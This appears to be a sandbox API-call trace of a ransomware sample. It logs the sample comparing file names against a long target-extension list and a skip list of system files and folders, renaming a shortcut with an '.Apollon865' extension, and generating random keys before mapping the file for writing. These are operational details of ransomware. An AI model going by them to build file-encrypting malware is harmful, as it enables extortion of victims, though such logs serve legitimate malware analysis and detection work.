	[0054.060] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1
	[0054.060] lstrlenW (lpString="gwi") returned 3
	[0054.060] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1
	[0054.060] lstrlenW (lpString="hdb") returned 3
	[0054.060] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1
	[0054.060] lstrlenW (lpString="his") returned 3
	[0054.060] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1
	[0054.060] lstrlenW (lpString="ib") returned 2
	[0054.060] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1
	[0054.060] lstrlenW (lpString="idb") returned 3
	[0054.060] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1
	[0054.060] lstrlenW (lpString="ihx") returned 3
	[0054.060] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1
	[0054.060] lstrlenW (lpString="itdb") returned 4
	[0054.060] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1
	[0054.060] lstrlenW (lpString="itw") returned 3
	[0054.060] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1
	[0054.060] lstrlenW (lpString="jet") returned 3
	[0054.060] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1
	[0054.060] lstrlenW (lpString="jtx") returned 3
	[0054.060] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1
	[0054.060] lstrlenW (lpString="kdb") returned 3
	[0054.060] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1
	[0054.060] lstrlenW (lpString="kexi") returned 4
	[0054.060] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1
	[0054.060] lstrlenW (lpString="kexic") returned 5
	[0054.060] lstrcmpiW (lpString1="r.lnk", lpString2="kexic") returned 1
	[0054.060] lstrlenW (lpString="kexis") returned 5
	[0054.060] lstrcmpiW (lpString1="r.lnk", lpString2="kexis") returned 1
	[0054.060] lstrlenW (lpString="lgc") returned 3
	[0054.060] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1
	[0054.060] lstrlenW (lpString="lwx") returned 3
	[0054.060] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1
	[0054.061] lstrlenW (lpString="maf") returned 3
	[0054.061] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1
	[0054.061] lstrlenW (lpString="maq") returned 3
	[0054.061] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1
	[0054.061] lstrlenW (lpString="mar") returned 3
	[0054.061] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1
	[0054.061] lstrlenW (lpString="marshal") returned 7
	[0054.061] lstrcmpiW (lpString1="rer.lnk", lpString2="marshal") returned 1
	[0054.061] lstrlenW (lpString="mas") returned 3
	[0054.061] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1
	[0054.061] lstrlenW (lpString="mav") returned 3
	[0054.061] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1
	[0054.061] lstrlenW (lpString="maw") returned 3
	[0054.061] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1
	[0054.061] lstrlenW (lpString="mdbhtml") returned 7
	[0054.061] lstrcmpiW (lpString1="rer.lnk", lpString2="mdbhtml") returned 1
	[0054.061] lstrlenW (lpString="mdn") returned 3
	[0054.061] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1
	[0054.061] lstrlenW (lpString="mdt") returned 3
	[0054.061] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1
	[0054.061] lstrlenW (lpString="mfd") returned 3
	[0054.061] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1
	[0054.061] lstrlenW (lpString="mpd") returned 3
	[0054.061] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1
	[0054.061] lstrlenW (lpString="mrg") returned 3
	[0054.061] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1
	[0054.061] lstrlenW (lpString="mud") returned 3
	[0054.061] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1
	[0054.061] lstrlenW (lpString="mwb") returned 3
	[0054.061] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1
	[0054.061] lstrlenW (lpString="myd") returned 3
	[0054.061] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1
	[0054.061] lstrlenW (lpString="ndf") returned 3
	[0054.062] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1
	[0054.062] lstrlenW (lpString="nnt") returned 3
	[0054.062] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1
	[0054.062] lstrlenW (lpString="nrmlib") returned 6
	[0054.062] lstrcmpiW (lpString1="er.lnk", lpString2="nrmlib") returned -1
	[0054.062] lstrlenW (lpString="ns2") returned 3
	[0054.062] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1
	[0054.062] lstrlenW (lpString="ns3") returned 3
	[0054.062] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1
	[0054.062] lstrlenW (lpString="ns4") returned 3
	[0054.062] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1
	[0054.062] lstrlenW (lpString="nsf") returned 3
	[0054.062] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1
	[0054.062] lstrlenW (lpString="nv") returned 2
	[0054.062] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1
	[0054.062] lstrlenW (lpString="nv2") returned 3
	[0054.062] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1
	[0054.062] lstrlenW (lpString="nwdb") returned 4
	[0054.062] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1
	[0054.062] lstrlenW (lpString="nyf") returned 3
	[0054.062] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1
	[0054.062] lstrlenW (lpString="odb") returned 3
	[0054.062] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0054.062] lstrlenW (lpString="odb") returned 3
	[0054.062] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0054.062] lstrlenW (lpString="oqy") returned 3
	[0054.062] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1
	[0054.062] lstrlenW (lpString="ora") returned 3
	[0054.062] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1
	[0054.062] lstrlenW (lpString="orx") returned 3
	[0054.062] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1
	[0054.062] lstrlenW (lpString="owc") returned 3
	[0054.062] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1
	[0054.062] lstrlenW (lpString="p96") returned 3
	[0054.063] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1
	[0054.063] lstrlenW (lpString="p97") returned 3
	[0054.063] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1
	[0054.063] lstrlenW (lpString="pan") returned 3
	[0054.063] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1
	[0054.063] lstrlenW (lpString="pdb") returned 3
	[0054.063] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1
	[0054.063] lstrlenW (lpString="pdm") returned 3
	[0054.063] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1
	[0054.063] lstrlenW (lpString="pnz") returned 3
	[0054.063] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1
	[0054.063] lstrlenW (lpString="qry") returned 3
	[0054.063] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1
	[0054.063] lstrlenW (lpString="qvd") returned 3
	[0054.063] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1
	[0054.063] lstrlenW (lpString="rbf") returned 3
	[0054.063] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1
	[0054.063] lstrlenW (lpString="rctd") returned 4
	[0054.063] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1
	[0054.063] lstrlenW (lpString="rod") returned 3
	[0054.063] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1
	[0054.063] lstrlenW (lpString="rodx") returned 4
	[0054.063] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1
	[0054.063] lstrlenW (lpString="rpd") returned 3
	[0054.063] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1
	[0054.063] lstrlenW (lpString="rsd") returned 3
	[0054.063] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1
	[0054.063] lstrlenW (lpString="sas7bdat") returned 8
	[0054.063] lstrcmpiW (lpString1="orer.lnk", lpString2="sas7bdat") returned -1
	[0054.063] lstrlenW (lpString="sbf") returned 3
	[0054.063] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1
	[0054.063] lstrlenW (lpString="scx") returned 3
	[0054.063] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1
	[0054.063] lstrlenW (lpString="sdb") returned 3
	[0054.064] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1
	[0054.064] lstrlenW (lpString="sdc") returned 3
	[0054.064] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1
	[0054.064] lstrlenW (lpString="sdf") returned 3
	[0054.064] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1
	[0054.064] lstrlenW (lpString="sis") returned 3
	[0054.064] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1
	[0054.064] lstrlenW (lpString="spq") returned 3
	[0054.064] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1
	[0054.064] lstrlenW (lpString="te") returned 2
	[0054.064] lstrcmpiW (lpString1="nk", lpString2="te") returned -1
	[0054.064] lstrlenW (lpString="teacher") returned 7
	[0054.064] lstrcmpiW (lpString1="rer.lnk", lpString2="teacher") returned -1
	[0054.064] lstrlenW (lpString="tmd") returned 3
	[0054.064] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1
	[0054.064] lstrlenW (lpString="tps") returned 3
	[0054.064] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1
	[0054.064] lstrlenW (lpString="trc") returned 3
	[0054.064] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0054.064] lstrlenW (lpString="trc") returned 3
	[0054.064] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0054.064] lstrlenW (lpString="trm") returned 3
	[0054.064] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1
	[0054.064] lstrlenW (lpString="udb") returned 3
	[0054.064] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1
	[0054.064] lstrlenW (lpString="udl") returned 3
	[0054.064] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1
	[0054.064] lstrlenW (lpString="usr") returned 3
	[0054.064] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1
	[0054.064] lstrlenW (lpString="v12") returned 3
	[0054.064] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1
	[0054.064] lstrlenW (lpString="vis") returned 3
	[0054.064] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1
	[0054.064] lstrlenW (lpString="vpd") returned 3
	[0054.064] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1
	[0054.065] lstrlenW (lpString="vvv") returned 3
	[0054.065] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1
	[0054.065] lstrlenW (lpString="wdb") returned 3
	[0054.065] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1
	[0054.065] lstrlenW (lpString="wmdb") returned 4
	[0054.065] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1
	[0054.065] lstrlenW (lpString="wrk") returned 3
	[0054.065] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1
	[0054.065] lstrlenW (lpString="xdb") returned 3
	[0054.065] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1
	[0054.065] lstrlenW (lpString="xld") returned 3
	[0054.065] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1
	[0054.065] lstrlenW (lpString="xmlff") returned 5
	[0054.065] lstrcmpiW (lpString1="r.lnk", lpString2="xmlff") returned -1
	[0054.065] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk.Apollon865") returned 126
	[0054.065] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk.Apollon865" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer.lnk.apollon865"), dwFlags=0x1) returned 1
	[0054.066] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk.Apollon865" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\internet explorer.lnk.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0054.066] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1449) returned 1
	[0054.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0054.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0054.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0054.066] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf568) returned 1
	[0054.067] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0054.067] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0054.067] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b0, lpName=0x0) returned 0x118
	[0054.071] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b0) returned 0x120000
	[0054.085] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0054.087] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0054.087] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0054.096] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0054.097] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.097] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.097] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.097] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.097] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0054.104] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.104] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0054.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.111] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0054.111] CloseHandle (hObject=0x118) returned 1
	[0054.111] CloseHandle (hObject=0xc0) returned 1
	[0054.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0054.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0054.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0054.112] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7dfa026d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Explorer.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1
	[0054.113] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.113] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2="Apollon865.txt.exe") returned 1
	[0054.113] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2=".") returned 1
	[0054.113] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2="..") returned 1
	[0054.134] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2="windows") returned 1
	[0054.134] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2="bootmgr") returned 1
	[0054.134] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2="temp") returned 1
	[0054.134] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2="pagefile.sys") returned 1
	[0054.134] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2="boot") returned 1
	[0054.134] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2="ids.txt") returned 1
	[0054.134] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2="ntuser.dat") returned 1
	[0054.141] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2="perflogs") returned 1
	[0054.141] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2="MSBuild") returned 1
	[0054.141] lstrlenW (lpString="Windows Explorer.lnk") returned 20
	[0054.141] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk") returned 115
	[0054.145] lstrcpyW (in: lpString1=0x119e6c4, lpString2="Windows Explorer.lnk" | out: lpString1="Windows Explorer.lnk") returned="Windows Explorer.lnk"
	[0054.145] lstrlenW (lpString="Windows Explorer.lnk") returned 20
	[0054.145] lstrlenW (lpString="Apollon865") returned 10
	[0054.145] lstrcmpiW (lpString1="plorer.lnk", lpString2="Apollon865") returned 1
	[0054.145] lstrlenW (lpString=".dll") returned 4
	[0054.145] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2=".dll") returned 1
	[0054.145] lstrlenW (lpString=".lnk") returned 4
	[0054.145] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2=".lnk") returned 1
	[0054.146] lstrlenW (lpString=".ini") returned 4
	[0054.146] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2=".ini") returned 1
	[0054.146] lstrlenW (lpString=".sys") returned 4
	[0054.147] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2=".sys") returned 1
	[0054.147] lstrlenW (lpString="Windows Explorer.lnk") returned 20
	[0054.147] lstrlenW (lpString="bak") returned 3
	[0054.147] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1
	[0054.147] lstrlenW (lpString="ba_") returned 3
	[0054.147] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1
	[0054.147] lstrlenW (lpString="dbb") returned 3
	[0054.147] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1
	[0054.178] lstrlenW (lpString="vmdk") returned 4
	[0054.178] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1
	[0054.178] lstrlenW (lpString="rar") returned 3
	[0054.178] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1
	[0054.178] lstrlenW (lpString="zip") returned 3
	[0054.178] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1
	[0054.178] lstrlenW (lpString="tgz") returned 3
	[0054.178] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1
	[0054.178] lstrlenW (lpString="vbox") returned 4
	[0054.178] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1
	[0054.178] lstrlenW (lpString="vdi") returned 3
	[0054.178] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1
	[0054.179] lstrlenW (lpString="vhd") returned 3
	[0054.179] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1
	[0054.179] lstrlenW (lpString="vhdx") returned 4
	[0054.179] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1
	[0054.179] lstrlenW (lpString="avhd") returned 4
	[0054.179] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1
	[0054.179] lstrlenW (lpString="db") returned 2
	[0054.179] lstrcmpiW (lpString1="nk", lpString2="db") returned 1
	[0054.179] lstrlenW (lpString="db2") returned 3
	[0054.179] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1
	[0054.179] lstrlenW (lpString="db3") returned 3
	[0054.179] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1
	[0054.179] lstrlenW (lpString="dbf") returned 3
	[0054.179] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1
	[0054.179] lstrlenW (lpString="mdf") returned 3
	[0054.179] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1
	[0054.179] lstrlenW (lpString="mdb") returned 3
	[0054.179] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1
	[0054.179] lstrlenW (lpString="sql") returned 3
	[0054.179] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1
	[0054.179] lstrlenW (lpString="sqlite") returned 6
	[0054.179] lstrcmpiW (lpString1="er.lnk", lpString2="sqlite") returned -1
	[0054.179] lstrlenW (lpString="sqlite3") returned 7
	[0054.179] lstrcmpiW (lpString1="rer.lnk", lpString2="sqlite3") returned -1
	[0054.179] lstrlenW (lpString="sqlitedb") returned 8
	[0054.179] lstrcmpiW (lpString1="orer.lnk", lpString2="sqlitedb") returned -1
	[0054.179] lstrlenW (lpString="xml") returned 3
	[0054.180] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1
	[0054.180] lstrlenW (lpString="$er") returned 3
	[0054.180] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1
	[0054.180] lstrlenW (lpString="4dd") returned 3
	[0054.180] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1
	[0054.180] lstrlenW (lpString="4dl") returned 3
	[0054.180] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1
	[0054.180] lstrlenW (lpString="^^^") returned 3
	[0054.180] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1
	[0054.180] lstrlenW (lpString="abs") returned 3
	[0054.180] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1
	[0054.180] lstrlenW (lpString="abx") returned 3
	[0054.180] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1
	[0054.180] lstrlenW (lpString="accdb") returned 5
	[0054.180] lstrcmpiW (lpString1="r.lnk", lpString2="accdb") returned 1
	[0054.180] lstrlenW (lpString="accdc") returned 5
	[0054.180] lstrcmpiW (lpString1="r.lnk", lpString2="accdc") returned 1
	[0054.180] lstrlenW (lpString="accde") returned 5
	[0054.180] lstrcmpiW (lpString1="r.lnk", lpString2="accde") returned 1
	[0054.180] lstrlenW (lpString="accdr") returned 5
	[0054.180] lstrcmpiW (lpString1="r.lnk", lpString2="accdr") returned 1
	[0054.180] lstrlenW (lpString="accdt") returned 5
	[0054.180] lstrcmpiW (lpString1="r.lnk", lpString2="accdt") returned 1
	[0054.180] lstrlenW (lpString="accdw") returned 5
	[0054.180] lstrcmpiW (lpString1="r.lnk", lpString2="accdw") returned 1
	[0054.180] lstrlenW (lpString="accft") returned 5
	[0054.180] lstrcmpiW (lpString1="r.lnk", lpString2="accft") returned 1
	[0054.180] lstrlenW (lpString="adb") returned 3
	[0054.180] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0054.180] lstrlenW (lpString="adb") returned 3
	[0054.180] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0054.180] lstrlenW (lpString="ade") returned 3
	[0054.180] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1
	[0054.180] lstrlenW (lpString="adf") returned 3
	[0054.181] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1
	[0054.181] lstrlenW (lpString="adn") returned 3
	[0054.181] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1
	[0054.181] lstrlenW (lpString="adp") returned 3
	[0054.181] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1
	[0054.181] lstrlenW (lpString="alf") returned 3
	[0054.181] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1
	[0054.181] lstrlenW (lpString="ask") returned 3
	[0054.181] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1
	[0054.181] lstrlenW (lpString="btr") returned 3
	[0054.181] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1
	[0054.181] lstrlenW (lpString="cat") returned 3
	[0054.181] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1
	[0054.181] lstrlenW (lpString="cdb") returned 3
	[0054.181] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1
	[0054.181] lstrlenW (lpString="ckp") returned 3
	[0054.181] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1
	[0054.181] lstrlenW (lpString="cma") returned 3
	[0054.181] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1
	[0054.181] lstrlenW (lpString="cpd") returned 3
	[0054.181] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1
	[0054.181] lstrlenW (lpString="dacpac") returned 6
	[0054.181] lstrcmpiW (lpString1="er.lnk", lpString2="dacpac") returned 1
	[0054.181] lstrlenW (lpString="dad") returned 3
	[0054.181] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1
	[0054.181] lstrlenW (lpString="dadiagrams") returned 10
	[0054.181] lstrcmpiW (lpString1="plorer.lnk", lpString2="dadiagrams") returned 1
	[0054.181] lstrlenW (lpString="daschema") returned 8
	[0054.181] lstrcmpiW (lpString1="orer.lnk", lpString2="daschema") returned 1
	[0054.181] lstrlenW (lpString="db-journal") returned 10
	[0054.181] lstrcmpiW (lpString1="plorer.lnk", lpString2="db-journal") returned 1
	[0054.181] lstrlenW (lpString="db-shm") returned 6
	[0054.181] lstrcmpiW (lpString1="er.lnk", lpString2="db-shm") returned 1
	[0054.182] lstrlenW (lpString="db-wal") returned 6
	[0054.182] lstrcmpiW (lpString1="er.lnk", lpString2="db-wal") returned 1
	[0054.182] lstrlenW (lpString="dbc") returned 3
	[0054.182] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1
	[0054.182] lstrlenW (lpString="dbs") returned 3
	[0054.182] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1
	[0054.182] lstrlenW (lpString="dbt") returned 3
	[0054.182] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1
	[0054.182] lstrlenW (lpString="dbv") returned 3
	[0054.182] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1
	[0054.182] lstrlenW (lpString="dbx") returned 3
	[0054.182] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1
	[0054.182] lstrlenW (lpString="dcb") returned 3
	[0054.182] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1
	[0054.182] lstrlenW (lpString="dct") returned 3
	[0054.182] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1
	[0054.182] lstrlenW (lpString="dcx") returned 3
	[0054.182] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1
	[0054.182] lstrlenW (lpString="ddl") returned 3
	[0054.182] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1
	[0054.182] lstrlenW (lpString="dlis") returned 4
	[0054.182] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1
	[0054.182] lstrlenW (lpString="dp1") returned 3
	[0054.182] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1
	[0054.182] lstrlenW (lpString="dqy") returned 3
	[0054.182] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1
	[0054.182] lstrlenW (lpString="dsk") returned 3
	[0054.182] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1
	[0054.182] lstrlenW (lpString="dsn") returned 3
	[0054.182] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1
	[0054.182] lstrlenW (lpString="dtsx") returned 4
	[0054.182] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1
	[0054.182] lstrlenW (lpString="dxl") returned 3
	[0054.182] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1
